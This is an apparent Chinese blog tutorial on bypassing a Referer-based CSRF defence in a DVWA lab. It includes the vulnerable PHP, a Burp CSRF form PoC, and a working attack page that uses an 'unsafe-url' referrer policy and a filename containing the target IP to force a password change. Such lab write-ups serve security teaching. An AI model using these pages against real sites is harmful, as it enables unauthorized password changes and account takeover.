当前位置: 首页 > news >正文

CSRF攻击(2), 绕过Referer防御

CSRF攻击(2), 绕过Referer防御

一. 场景:

攻击服务器: 192.168.112.202
目标服务器: 192.168.112.200

说明:
1. 前端页面的功能是修改密码.
2. 将恶意页面放到202服务器上, 在目标200服务器上访问恶意页面, 目的是绕过200服务器上对CSRF的防御, 修改密码.

二. 后端防御代码:

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?> 

三. 代码分析:

  1. $_SERVER['HTTP_REFERER']: 这是一个超全局变量,它从HTTP请求中提取Referer头部的值。Referer头部表示请求的来源页URL。
    例如,如果你从pageA.html点击一个链接到pageB.html,那么在访问pageB.html时,HTTP_REFERER将包含pageA.html的URL。
  2. $_SERVER['SERVER_NAME']: 这是另一个超全局变量,它包含当前服务器的名称。这通常是与请求相关联的域名或主机名。
  3. stripos(): 这是一个PHP函数,用于查找一个字符串在另一个字符串中首次出现的位置,而不区分大小写。
  4. stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false:
    这是一个条件判断,用于检查SERVER_NAME(即当前服务器的名字)是否出现在HTTP_REFERER中。
    如果出现,则stripos()函数将返回该位置(一个非负整数),否则返回false。
    使用!== false是为了确保检查不仅仅是真假,还要检查数据类型(即确保不是因为位置为0而误判为false)。

四. 绕过方法:

当使用一个普通的表单类型的钓鱼链接时, 比如 http://192.168.112.202/csrf.html

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form action="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/"><input type="hidden" name="password&#95;new" value="root" /><input type="hidden" name="password&#95;conf" value="root" /><input type="hidden" name="Change" value="Change" /><input type="submit" value="Submit request" /></form></body>
</html>

访问后观察请求头:

Referer: http://192.168.112.202/

这里看到表单类型的链接, 点击后 Referer 只包含攻击者的ip, 并没有目标ip, 因此被防御.

现在我们需要让 Referer 字段中包含目标服务器的IP, 需要两个步骤:

1. 不能使用表单链接, 而是使用一个的超链接<a>, 超链接被点击后, Referer字段会包含这个html的文件名:

<a href="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change">
<img src="http://192.168.112.202/test.jpg"/></a>

这个html页面在202服务器, 但它里面的链接是向200服务器发送请求.

需要注意的是, 现代浏览器对于跨域请求的默认Referer头处理。
当请求是同源的(即在相同的域、协议和端口上),Referer通常会包含完整的URL。
但是,对于跨域请求,许多浏览器的默认行为是仅发送请求的源作为Referer,而不包括完整的路径和查询参数。

为了避免出现这种情况, 可以在HTML文件中使用<meta>标签来设置Referrer-Policy策略.
在HTML中使用<meta name="referrer" content="unsafe-url">标签会指示浏览器在发送请求时使用"unsafe-url"策略,这将导致浏览器在Referer头中发送完整的URL,无论请求是否跨域, 浏览器会根据这个策略发送Referer头.

设置策略为 "unsafe-url":

<!DOCTYPE html>
<head><meta name="referrer" content="unsafe-url">
</head>
<body><a href="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change"><img src="http://192.168.112.202/test.jpg"/></a>
</body>
</html>

2. 把这个html文件命名为 csrf_192.168.112.200.html, 重点是文件名中包含了目标服务器的地址, 那么完整的恶意链接就是:

http://192.168.112.202/csrf_192.168.112.200.html

当这个图片链接被用户点击后观察请求头:

Referer: http://192.168.112.202/csrf_192.168.112.200.html

这里可以看到 Referer 中由于包含了文件名, 所以就间接包含有目标服务器的ip, 绕过了后端对 SERVER_NAME 的判断, 密码修改成功.

相关文章:

  • 英语——分享篇——每日200词——201-400
  • 基于单片机的智能饮水机系统
  • Luancher和unityLibrary都有build.gradle有什么不同
  • 合肥中科深谷嵌入式项目实战——人工智能与机械臂(六)
  • Java中的异常处理机制是怎样的?
  • golang实现极简todolist
  • 二进制搭建 Kubernetes v1.20
  • 【LeetCode力扣】287.寻找重复数
  • 算法?认识一下啦
  • 【原创】java+swing+mysql校园共享单车管理系统设计与实现
  • 定积分的几何应用(总结非常全面!)
  • rust闭包
  • ruby、Python 以及 Swift 语言关于 “Finally” 实现的趣谈
  • rabbitmq的confirm模式获取correlationData为null解决办法
  • 服务器密码机主要功能及特点 安当加密
  • 2017前端实习生面试总结
  • android高仿小视频、应用锁、3种存储库、QQ小红点动画、仿支付宝图表等源码...
  • Babel配置的不完全指南
  • Docker入门(二) - Dockerfile
  • ECMAScript 6 学习之路 ( 四 ) String 字符串扩展
  • iOS动画编程-View动画[ 1 ] 基础View动画
  • Javascript基础之Array数组API
  • java中具有继承关系的类及其对象初始化顺序
  • Laravel 中的一个后期静态绑定
  • LeetCode刷题——29. Divide Two Integers(Part 1靠自己)
  • Python语法速览与机器学习开发环境搭建
  • QQ浏览器x5内核的兼容性问题
  • Redux系列x:源码分析
  • SAP云平台里Global Account和Sub Account的关系
  • Tornado学习笔记(1)
  • use Google search engine
  • vue和cordova项目整合打包,并实现vue调用android的相机的demo
  • webgl (原生)基础入门指南【一】
  • 表单中readonly的input等标签,禁止光标进入(focus)的几种方式
  • 分享几个不错的工具
  • ------- 计算机网络基础
  • 解决jsp引用其他项目时出现的 cannot be resolved to a type错误
  • 解析 Webpack中import、require、按需加载的执行过程
  • 你不可错过的前端面试题(一)
  • 使用SAX解析XML
  • 容器镜像
  • 正则表达式-基础知识Review
  • ​520就是要宠粉,你的心头书我买单
  • ​一些不规范的GTID使用场景
  • # SpringBoot 如何让指定的Bean先加载
  • ### Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLTr
  • #### go map 底层结构 ####
  • ###C语言程序设计-----C语言学习(3)#
  • #14vue3生成表单并跳转到外部地址的方式
  • #传输# #传输数据判断#
  • $(function(){})与(function($){....})(jQuery)的区别
  • (NO.00004)iOS实现打砖块游戏(十二):伸缩自如,我是如意金箍棒(上)!
  • (办公)springboot配置aop处理请求.
  • (定时器/计数器)中断系统(详解与使用)
  • (附源码)spring boot球鞋文化交流论坛 毕业设计 141436